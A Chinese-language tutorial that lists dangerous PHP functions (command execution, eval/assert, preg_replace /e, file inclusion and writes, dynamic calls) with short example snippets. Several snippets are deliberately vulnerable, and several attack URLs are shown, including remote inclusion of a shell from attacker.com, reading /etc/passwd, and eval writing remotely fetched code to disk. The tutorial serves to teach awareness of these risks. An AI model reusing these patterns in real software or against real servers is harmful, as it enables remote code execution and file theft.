PHP中有一些函數在不當使用或未經適當保護時可能會引發嚴重的安全問題,這些函數被稱為危險函數。它們的危險性通常與執行系統命令、動態代碼執行、文件操作或外部數據處理相關
系統命令:system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec
動態代碼:eval,assert,preg_replace
文件操作:include/require/include_once/require_once,file_get_contents,file_put_contents,fopen/fwrite,move_uploaded_file
動態執行外部輸入的函數:call_user_func/call_user_func_array,create_function
系統命令
如果這些函數接受未經處理的用戶輸入,攻擊者可能通過命令注入來執行任意系統命令。
system
同 C 版本的 system() 函數一樣,本函數執行 command 參數所指定的指令,並且輸出執行結果。
如果 PHP 運行在伺服器模組中, system() 函數也會嘗試在每行輸出完畢之後, 自動刷新 web 伺服器的輸出快取
執行系統指令,返回內容僅會儲存所有結果
<?php
system("ls -l");
?>
以上會執行ls -l,並顯示該目標下所有檔案
exec
執行系統指令,返回內容僅會保存最後一行
<?php
echo exec("ls -l");
?>
以上會執行ls -l,但只顯示該目標下的最後一行內容
shell_exec
透過 shell 環境執行命令,並且將完整的輸出以字串的方式傳回
但如果要顯示返回內容, 需要透過echo等方式加訊息輸出
shell_exec('ls -l');
以上會執行ls -l,但不會顯示任何內容
passthru
執行系統指令並且顯示原始輸出,適合輸出二進制數據
當所執行的指令會輸出二進位數據時, 且需要直接傳送到瀏覽器的時候, 需要用passthru()來取代exec() 或 system() 等函數
passthru('ls -l');
以上會執行ls -l,並顯示該目標下所有檔案
popen
popen()用於執行系統命令並返回一個管道,通過該管道可以讀取或寫入命令的標準輸入或輸出
<?php
popen("ls -l","r");
?>
以上會執行ls -l,但不會顯示任何內容
proc_open
允許執行系統命令並與命令的標準輸入、輸出和錯誤流進行交互。它比popen()更靈活,因為它允許使用多個管道來處理命令輸入輸出。
<?php
$descriptorspec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
$process = proc_open("ls -l", $descriptorspec, $pipes);
?>
以上會執行ls -l,但不會顯示任何內容
pcntl_exec
當執行 pcntl_exec() 時,當前 PHP 腳本停止執行,並被新程序取代。
不返回執行結果,因為它不會恢復到 PHP 腳本中。
參數以數組傳遞,與函數如 exec() 或 system() 不同,pcntl_exec() 不需要手動處理參數轉義,因為參數以數組的形式傳遞,避免了直接拼接命令字符串的風險
$path = $_GET['path'];
pcntl_exec($path, ['arg1', 'arg2']);
動態代碼
這些函數會執行動態生成的代碼,如果用戶輸入未經過濾,攻擊者可以插入惡意代碼。
eval
eval() 函數把字串依照 PHP 程式碼來計算。字串必須是合法的 PHP 程式碼,且必須以分號結尾。
以下會顯示111
<?php eval("echo 111;"); ?>
也可以執行上述的用來呼叫系統指令的代碼
<?php eval("system('ls -l');"); ?>
也可以寫檔,以下如果顯示10表示寫入成功
<?php eval("echo file_put_contents('test.php','write test');"); ?>
如果要寫入的內容太多,也可從外部web把檔案取回來在寫檔 ,如果成功會回傳具体數字
<?php eval("echo file_put_contents('test.php',file_get_contents('https://systw.net/test.php'));"); ?>
assert
除了執行斷言檢查外,也可以執行動態代碼(在某些情況下與 eval() 類似)。
<?php assert('echo "Hello World";'); ?>
不同版本php反應如下
• PHP 5.x:assert() 默認支持字符串執行,類似於 eval(),容易被黑客利用。
• PHP 7.x:assert() 行為轉為語句模式,但如果未禁用,仍可能導致間接代碼執行。
• PHP 8.x:默認禁用 assert(),降低了利用風險,但錯誤配置仍可能帶來安全問題。
preg_replace
在 PHP 7.0 之前的版本中,允許執行正則表達式替換動態代碼。
$input = $_GET['data'];
$output = preg_replace('/(.+)/e', 'system("$1")', $input);
攻擊者訪問 http://example.com/script.php?data=ls 就會執行 system(“ls”);
文件操作
如果文件路徑或內容基於未經過濾的用戶輸入,可能導致敏感文件被訪問、覆蓋或執行。
include / require / include_once / require_once
將外部 PHP 文件包含到當前腳本中執行。
include($_GET['page']);
如果攻擊者執行http://example.com/script.php?page=/etc/passwd,服務器就會執行include(‘/etc/passwd’);
如果 allow_url_include 為 On,攻擊者可訪問 http://example.com/script.php?page=http://attacker.com/shell.php,服務器就會執行
include(‘http://attacker.com/shell.php’);
不同語法的用途特點如下
- include 包含並執行指定的文件 遇到錯誤時僅產生警告(Warning),繼續執行後續代碼。
- require 包含並執行指定的文件 遇到錯誤時產生致命錯誤(Fatal Error),停止執行後續代碼。
- include_once 包含文件,但僅在未被包含過的情況下執行 防止重複包含相同文件,遇到錯誤僅警告,繼續執行後續代碼。
- require_once 包含文件,但僅在未被包含過的情況下執行 防止重複包含相同文件,遇到錯誤產生致命錯誤,停止執行後續代碼。
file_get_contents
讀取文件或 URL 的內容。
file_get_contents('/etc/passwd');
file_put_contents
將內容寫入文件,如果目標文件可寫且未驗證,可能被用於寫入惡意代碼。
file_put_contents('test.php', '<?php echo "Hacked"; ?>');
fopen / fwrite
用於打開、寫入文件。黑客可以利用未受控的文件名或路徑,覆蓋應用中已有的文件,舉例如下
$handle = fopen($_GET['filename'], 'w');
fwrite($handle, $_GET['filecontent'];);
fclose($handle);
move_uploaded_file
處理文件上傳,如果未做檢查,可以上傳PHP shell。
move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/html/' . $_FILES['file']['name']);
動態執行外部輸入的函數
在程序中根據用戶提供的輸入(如URL參數或表單數據)來動態調用函數或執行邏輯。如果這種執行未經適當的驗證和限制,可能會導致安全風險
call_user_func / call_user_func_array
調用用戶指定的函數,格式為 call_user_func($_GET[‘function’], $arg1, $arg2); ,舉例如下
<?php
$func = $_GET['func'];
call_user_func($func, 'Alice');
?>
當攻擊者訪問http://example.com/script.php?func=phpinfo,就會執行phpinfo(‘Alice’);
create_function
動態創建匿名函數,接受兩個參數:變量列表和函數主體(已在 PHP 7.2 中棄用)。
舉例如下,以下會返回7
$func = create_function('$a, $b', 'return $a + $b;');
echo $func(3, 4);
不安全的用法如下
$code = $_GET['code'];
$func = create_function('$x', $code);
echo $func(42);
當攻擊者訪問http://example.com/script.php?code=system(“ls”);,就會執行system(“ls”);